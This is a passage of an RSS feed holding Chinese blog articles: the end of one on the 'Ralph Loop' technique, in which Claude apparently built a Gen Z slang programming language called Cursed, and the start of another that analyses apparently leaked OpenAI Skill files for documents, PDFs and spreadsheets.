181);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgb(251, 249, 253);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">&#34;Hey, can you make me a programming language like Golang but all the lexical keywords are swapped so they&#39;re Gen Z slang?&#34;</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Claude 被赋予完全的自治权，可以根据需要设计和构建任何组件，包括编译器、标准库等，而无需人类干预代码。方法论强调通过提示引导AI的迭代生成，工具包括Claude AI模型本身，以及后续产生的编译器（支持解释和编译模式，能生成Mac OS、Linux和Windows的二进制文件）、部分编辑器集成（VSCode、Emacs、Vim）和Treesitter语法。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">实验结果</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实验的结果是成功创建了一个名为“Cursed”的Gen Z编程语言，该语言将传统关键词替换为Gen Z俚语，例如ready代替if、yeet代替import、slay代替func、based代替true、cap代替false等。该语言支持控制流、声明、类型等功能，并能编译和运行程序，例如一个LeetCode问题的解决方案（最大二叉树深度），包括递归和迭代实现，证明了其实际可用性。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">项目开源在GitHub（ghuntley/cursed），并有专用网站（cursed-lang.org）。编辑器支持部分实现但不完整。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">整体上，实验初步证明了 AI 能够在循环迭代中自主构建复杂软件系统，潜在问题或许可以通过更多 轮次的&#34;Ralph Loop&#34; 迭代和更熟练的提示词来解决。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">理性看待 Ralph Loop 的能力与边界</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Ralph Loop 的崛起并非因为它是一种“万能药”，而在于它揭示了一种极简的工程哲学：复杂性可以通过受控的重复来消化。 然而，在实际应用中，我们需要保持中立且理性的观察。Ralph Loop 并非在所有场景下都是最优解，使用它时必须考虑以下权衡：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">资源与成本约束：这种“以算力换人力”的模式是以大量的 Token 消耗和 API 费用为代价的。对于逻辑简单的任务，传统的单次 Prompt 或脚本化处理显然更具性价比。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">时间成本：循环迭代需要时间。在追求即时交付的场景下，Ralph Loop 缓慢的“小步快跑”可能不如人类直接干预高效。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><span leaf="">适用场景：它最适合那些边界清晰但内部逻辑极其复杂、且拥有自动化校验手段（如编译器、单元测试）的任务。例如，从零构建编译器、进行大规模的陈旧代码重构或修复难以捉摸的边缘 Case。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">总而言之，Ralph Loop 并不是神秘的魔法，而是一种工程上的取舍。它让我们看到：只要建立起合适的约束条件和退出机制，即便每次迭代只进步 1%，在持续的循环中，Agent 最终也能在复杂的荒原上构建起高楼大厦。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 20px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">参考资料</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Ralph Wiggum as a &#34;software engineer&#34;</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://ghuntley.com/ralph/" target="_blank">https://ghuntley.com/ralph/</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">i ran Claude in a loop for three months, and it created a genz programming language called cursed</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://ghuntley.com/cursed/" target="_blank">https://ghuntley.com/cursed/</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Claude Code ralph-wiggum README.md</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/anthropics/claude-code/blob/main/plugins/ralph-wiggum/README.md" target="_blank">https://github.com/anthropics/claude-code/blob/main/plugins/ralph-wiggum/README.md</a></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ab75b690&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484005%26idx%3D1%26sn%3D2dfd591760b81b935b94d9d7ea60d4bf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Jan 2026 21:53:00 +0800</pubDate>
    </item>
    <item>
      <title>🤔 ChatGPT 也在偷偷使用 Skill？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484000&amp;idx=1&amp;sn=7a68f4f827e6af0c3e5443ed60582bf6</link>
      <description>来自 OpenAI 泄露 Skill 文件的启示</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋Ω号</span> <span>2026-01-08 08:00</span> <span style="display: inline-block;">美国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c669b33d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKc2AOBEODN6mAiahIQqotatrrHaaj2YsGO0pRXHhYSBlG6h3NaQCuAxW6AK1ianaLGnYs8Y8BmfbktA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(150, 84, 181);border-right-color: rgb(150, 84, 181);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgb(251, 249, 253);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">来自 OpenAI 泄露 Skill 文件的启示</span></p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">引言</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最近，科技圈最火的概念莫过于 Skill 了。不少眼尖的用户在与 ChatGPT 互动时，窥探到了 OpenAI 似乎正在其产品中悄悄测试一种名为 Skill 的新能力。这不禁让人好奇，连浓眉大眼的 OpenAI 都在用，Skill 到底是什么？它又被用在了哪些地方？</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">沿着X的足迹，笔者也通过了一些技术手段，获取到了 OAI 的官方 Skills 。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000349" data-ratio="0.4351851851851852" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d06baa40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKc2AOBEODN6mAiahIQqotatrzdoDCXqHlvtTWpLzqicOp2gTwZQUDSqZYuuLNPyjeOxAWd4ibTfCPMBQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">Skill 是什么</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">简单来说，</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Skill 是一种将大型语言模型（LLM）执行特定任务的“方法论”和“工具集”打包起来的模块</span></strong><span leaf="">。它不仅仅是一段提示词（Prompt），更像一本为 AI 准备的“SOP 手册”，里面可能包含：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">元信息（Frontmatter）</span></strong><span leaf="">：定义 Skill 的用途、边界和参数。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">方法论（SKILL.md）</span></strong><span leaf="">：用 Markdown 写成的分步指南，告诉 AI“第一步做什么，第二步做什么”。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">脚本和工具（Scripts/）</span></strong><span leaf="">：固化好的代码脚本，让 AI 能直接调用来处理特定任务，而不是每次都“freestyle”现场生成代码。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">参考资料（Reference/）</span></strong><span leaf="">：更详细的 API 文档、数据结构或背景知识，供 AI 在需要时查阅。 接下来，就让我们一起庖丁解牛，看看 OpenAI 是如何构建这些高效的 Skill 的，以及我们能从中借鉴到什么。</span></p></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">OAI Skill 精要</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">我们拿到了三个分别名为 </span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">docs</span></code><span leaf="">、</span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pdfs</span></code><span leaf=""> 和 </span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">spreadsheets</span></code><span leaf=""> 的 Skill。它们分别对应着处理 Word 文档、PDF 文件和电子表格这三类在办公和数据分析场景中极为常见的任务。看似寻常，但其内部设计却处处透露着工程化的严谨与巧思。 下面，我们将逐一剖析这三个 Skill 的设计亮点。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">1. </span><code><span leaf="">docs</span></code><span leaf=""> Skill</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 